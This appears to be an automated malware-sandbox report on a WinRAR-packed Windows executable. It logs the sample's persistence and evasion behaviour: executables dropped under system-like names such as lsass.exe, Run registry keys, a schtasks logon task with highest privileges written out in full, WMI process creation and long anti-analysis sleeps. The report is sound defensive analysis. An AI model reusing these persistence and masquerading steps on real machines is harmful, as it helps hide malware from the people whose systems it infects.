Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

barindex
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101E28C push eax; ret 0_2_0101E2AA
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101ED46 push ecx; ret 0_2_0101ED59
PE file contains sections with non-standard names
Source: 9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Static PE information: section name: .didat
File is packed with WinRar
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe File created: C:\refhostperfdllCommon\__tmp_rar_sfx_access_check_6179171 Jump to behavior

Persistence and Installation Behavior:

barindex
Creates processes via WMI
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Drops PE files with benign system names
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Users\user\Pictures\Camera Roll\lsass.exe Jump to dropped file
Drops PE files
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Jump to dropped file
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Windows\System32\umdmxfrm\backgroundTaskHost.exe Jump to dropped file
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe File created: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Jump to dropped file
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Users\user\Pictures\Camera Roll\lsass.exe Jump to dropped file
Drops PE files to the windows directory (C:\Windows)
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File created: C:\Windows\System32\umdmxfrm\backgroundTaskHost.exe Jump to dropped file

Boot Survival:

barindex
Creates an autostart registry key pointing to binary in C:\Windows
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run backgroundTaskHost Jump to behavior
Creates multiple autostart registry keys
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wjIuhVBtfHXnMCZlWDoj Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run backgroundTaskHost Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass Jump to behavior
Uses schtasks.exe or at.exe to add and modify task schedules
Source: unknown Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "wjIuhVBtfHXnMCZlWDoj" /sc ONLOGON /tr "'C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe'" /rl HIGHEST /f
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wjIuhVBtfHXnMCZlWDoj Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run wjIuhVBtfHXnMCZlWDoj Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run backgroundTaskHost Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run backgroundTaskHost Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run lsass Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe TID: 6676 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe TID: 6208 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe TID: 1620 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe TID: 3716 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe TID: 5700 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\SysWOW64\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101DD72 VirtualQuery,GetSystemInfo, 0_2_0101DD72
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0100A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError, 0_2_0100A5F4
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0101B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW, 0_2_0101B8E0
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe Code function: 0_2_0102AAA8 FindFirstFileExA, 0_2_0102AAA8
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\9bdcc933d0c04da1fa41ba915c460d9fa573e4bc5814b.exe API call chain: ExitProcess graph end node
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\refhostperfdllCommon\refhostperfdllCommonsessionnetsvc.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Recovery\wjIuhVBtfHXnMCZlWDoj.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Pictures\Camera Roll\lsass.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: lsass.exe, 00000014.00000002.935090036.00000000010A8000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllp
Source: backgroundTaskHost.exe.7.dr Binary or memory string: VmCi6Flq3E
Source: refhostperfdllCommonsessionnetsvc.exe, 00000007.00000002.714982029.000000001BA4A000.00000004.00000001.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b8b}[o;o

Anti Debugging:

barindex
